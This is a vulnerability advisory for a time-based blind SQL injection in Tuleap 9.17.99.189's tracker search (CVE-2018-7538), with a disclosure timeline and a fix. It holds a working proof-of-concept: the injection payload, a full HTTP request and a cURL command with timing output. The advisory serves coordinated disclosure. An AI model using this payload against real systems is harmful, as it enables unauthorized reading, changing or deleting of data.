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title: Tuleap SQL Injection
case id: CM-2018-01
product: Tuleap version 9.17.99.189
vulnerability type: Blind SQL injection - time based
severity: High
found: 2018-02-24
by: Cristiano Maruti (@cmaruti)
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[EXECUTIVE SUMMARY]
Enalean Tuleap is a project management system for application lifecycles
management, agile development and design projects, requirement management, IT
services management, and so on. The analysis discovered a time-based blind SQL
injection vulnerability (OTG-INPVAL-005) in the tracker functionality of
Tuleap software engineering platform. A malicious user can inject arbitrary
SQL commands to the application. The vulnerability lies in the project tracker
service search functionality; depending on project visibility successful
exploitation may or may not require user authentication. A successful attack
can read, modify or delete data from the database or, depending on the
privilege of the user (default: restricted) and the database engine in use
(default: MySQL), execute arbitrary commands on the underlying system.
[VULNERABLE VERSIONS]
The following version of the Tuleap software was affected by the
vulnerability; previous versions may be vulnerable as well:
- Tuleap version 9.17.99.189
[TECHNICAL DETAILS]
It is possible to reproduce the vulnerability following these steps:
1. Open the tracker service in a publicly visible project
2. Leave all the fields empty and submit the search form while logging the
request with the help of an application proxy like Burp or ZAP
3. Copy the previous request and edit the "criteria[499][values][]" field in
the request body with the "(select(0)from(select(sleep(3)))a)/**/" payload
4. Send the request to the application
5. Application will respond with a three second delay
Below a full transcript of the HTTP request used to raise the vulnerability
and also a cURL one liner to highlight the induced delay in the application
response.
HTTP Request
-------------------------------------------------------------------------------
POST /plugins/tracker/?tracker=16 HTTP/1.1
Host: 192.168.137.130
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://192.168.137.130/plugins/tracker/?tracker=16
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Cookie: __Host-TULEAP_PHPSESSID=r7d1mk87sfn9kadlkh64h25354
Connection: close
Upgrade-Insecure-Requests: 1
report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D=
&criteria%5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D=
&criteria%5B499%5D%5Bvalues%5D%5B%5D=(select(0)from(select(sleep(3)))a)/**/
&additional_criteria%5Bcomment%5D=&tracker_query_submit=
-------------------------------------------------------------------------------
cURL PoC
-------------------------------------------------------------------------------
# time curl -k -X POST -d @sql.txt -H 'Cookie: __Host-TULEAP_PHPSESSID=<VALID>'
https://192.168.137.130/plugins/tracker/?tracker=16
[OUTPUT TRUNCATED]
</script> </body>
</html>
real 0m3.117s
user 0m0.033s
sys 0m0.021s
# cat sql.txt
report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D=
&criteria%5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D=
&criteria%5B499%5D%5Bvalues%5D%5B%5D=(select(0)from(select(sleep(3)))a)/**/
&additional_criteria%5Bcomment%5D=&tracker_query_submit=
-------------------------------------------------------------------------------
A copy of the report with technical details about the vulnerability I have
identified is available at:
https://github.com/cmaruti/reports/blob/master/tuleap.pdf
[VULNERABILITY REFERENCE]
The following CVE ID was allocated to track the vulnerabilities: CVE-2018-7538
[DISCLOSURE TIMELINE]
2018-02-26 Vulnerability submitted to vendor through e-mail.
Vendor requested
more info and acknowledged the problem later.
2018-02-27 Researcher requested to allocate a CVE number.
2018-02-27 Vendor released a fix for the reported issue.
2018-03-08 Researcher requested to publicly disclose the issue; public
coordinated disclosure.
[SOLUTION]
Enalean released an update to fix the vulnerability (Tuleap 9.18 or later).
Please see the below link for further information released by the vendor:
- https://tuleap.net/plugins/tracker/?aid=11192
[REPORT URL]
https://github.com/cmaruti/reports/blob/master/tuleap.pdf
